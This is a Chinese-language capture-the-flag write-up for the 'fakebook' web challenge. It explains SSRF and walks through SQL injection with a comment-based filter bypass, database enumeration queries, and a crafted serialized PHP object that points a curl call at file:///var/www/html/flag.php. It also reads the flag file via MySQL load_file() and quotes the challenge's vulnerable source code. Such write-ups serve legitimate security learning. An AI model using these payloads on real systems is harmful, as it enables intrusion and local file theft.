fakebook
知识点
ssrf漏洞
背景
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
原理
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
很多Web应用都提供了从其他服务器上获取数据的功能。使用用户指定的URL,Web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地服务器。
我们可以利用ssrf漏洞配合使用file协议读取本地文件。演示如下
这里将aa.txt文件写入根目录下,解释下curl的相关操作,通过curl_setopt()函数设置请求的参数,当CURLOPT_RETURNTRANSFER参数为0会将该页面的html源码打印出来,若为1则不打印。如果是本地文件,则打印本地文件的具体内容。
load_file()函数
mysql中load_file()函数在知道绝对路径下可以读取本地文件
file协议
file协议可以将Php文件中的内容在浏览器端显示出来
思路一
进去题目页面后,是一个注册登录的页面,我们先注册一个账号,注册之后的页面,进去view.php
看到url,我们试着sql注入,构造no=1 and 1=2
,回显
出现与?no=1
不同的页面,说明存在sql注入
有时候报错信息可以给我们提供一些关键的息
我们试着理解报错信息,知道了文件的根目录/var/www/html/view.php
,age和blog这里的信息表示试图获得非对象的信息,可能跟对象有关,目前也不知道为什么报错,在最下面的信息表示调用getBlogContents函数出现错误。
继续sql注入
?no=1 order by 5
时报错,说明列数是4
?no=-1 union select 11,22,33,44
提示no hack,说明存在过滤
这时候我们用bp进行fuzz测试一下,这里我们用bp自带的sql注入字典,发现当union select
出现时,就会出现no hack,而其中的任意单一一个出现都不会出现no hack,这说明过滤了union select
,我们用union/**/select
进行绕过
?no=-1 union/**/select 11,22,33,44
发现只有22显示在页面中,我们就利用第二个位置进行sql注入
并且发现这里又出现了一个报错提示,是一个关于反序列化的,推测这里用了unserialize()函数
继续注入
?no=-1 union/**/select 11,group_concat(table_name),33,44 from information_schema.tables where table_schema=database()
爆出users表
-1 union/**/select 11,group_concat(column_name),33,44 from information_schema.columns where table_name="users"
爆出users表字段no,username,passwd,data
?no=-1 union/**/select 11,group_concat(username),33,44 from users
查username具体内容,发现只有我们注册的信息,并没有想像中的admin啥的,那就继续查下data字段
?no=-1 union/**/select 11,group_concat(data),33,44 from users
回显得是我们注册信息时的序列化内容。这时侯猜测后台的处理过程,注册时将我们的信息(blog除外)存在后台,并且将其反序列化,存在data字段中,然后访问view.php时,通过sql查询no的值,将其查到的对应的data值进行反序列化,显示在age和blog处,只有username不是通过反序列显示而是sql查询返回的数组显示的,所以通过联合查询时,有回显。
看了别人的wp才知道dirsearch的重要性,于是决定以后做题,一开题就dirsearch扫一下。。。
这里我们扫一下,发现有以下文件
flag.php,login.php,robots.txt,user.php,view.php
显然flag在flag.php里,访问下flag.php啥也没显示
再访问robots.txt,提示/user.php.bak
下载user.php.bak,得到源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
审计源码,发现这里存在个ssrf漏洞
get()函数中没有对$url
参数进行过滤,而$url
参数对应我们注册的blog内容。也就是说我们可以通过blog这个内容来执行本地文件的读取(我们已经知道了flag.php的具体路径),但是blog的格式被正则限定了,file协议写不进去。这时侯我们可以在view.php里面利用反序列化漏洞配合sql注入,来实现读取flag.php。
构造payload
?no=-1 union/**/select 11,22,33,'O:8:"UserInfo":3:{s:4:"name";s:4:"wang";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
由之前sql注入我们已经知道了data字段在第四个位置,所以将反序列化的内容放在了第四个位置。然后f12,<iframe>
标签里的src点击进去,就是flag.
推测后台运行机制:在view.php中将sql查询no对应的data字段反序列化,显示在age和blog中,并且调用反序列化之后对象的getBlogContents函数获取blog内容。
思路二
利用?no=-1 union select 1,user(),3,4
知道当前用户是root用户,有着高权限。
这里我们已经知道了flag.php的绝对路径,利用sql注入,拿到flag
?no=-1 union/**/select 11,load_file("/var/www/html/flag.php"),33,44
load_file()函数读取flag.php的内容,再右键看源码即可。
闲来无事审计部分代码
view.php
<?php
$no = $_GET['no'];
if ($db->anti_sqli($no))
{
die("no hack ~_~");
}
$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
//print_r($res);
?>
<div class="container">
<table class="table">
<tr>
<th>
username
</th>
<th>
age
</th>
<th>
blog
</th>
</tr>
<tr>
<td>
<?php echo $res['username']; ?>
</td>
<td>
<?php echo $user->age; ?>
</td>
<td>
<?php echo xss($user->blog); ?>
</td>
</tr>
</table>
<hr>
<br><br><br><br><br>
<p>the contents of his/her blog</p>
<hr>
<?php
$response = $user->getBlogContents();
if ($response === 404)
{
echo "404 Not found";
}
else
{
$base64 = base64_encode($response);
echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
// echo $response;
}
// var_dump($user->getBlogContents());
?>
果然跟我们猜想的一致,先对传入的非法no参数进行拦截,若非法,则反序列化data数据,再将其输出,通过getBlogContents函数获取文件内容,并将其base64编码,输出在iframe标签中,然后我们点击src可以通过data协议将其base64解码输出。
anti_sqli()函数
public function anti_sqli($no) {
$patterns = "/union\Wselect|0x|hex/i";
return preg_match($patterns, $no);
}
\W表示除[A-Za-z0-9_]的所有字符。0x|hex 表示16进制输出。
所以这里过滤的了union select但是可以用union select两个空格之类的形式绕过。
getUserByNo()函数
public function getUserByNo($no) {
global $mysqli;
// $no = addslashes($no);
$query = "select * from users where no = {$no}";
$res = $mysqli->query($query);
if (!$res) {
echo "<p>[*] query error! ({$mysqli->error})</p>";
}
return $res->fetch_assoc();
}
没有对no参数进行过滤,显然存在sql注入,并且也可以进行报错注入。
感悟总结
要善用dirsearch扫描目录,要会理解报错信息。fuzz测试sql注入也很重要。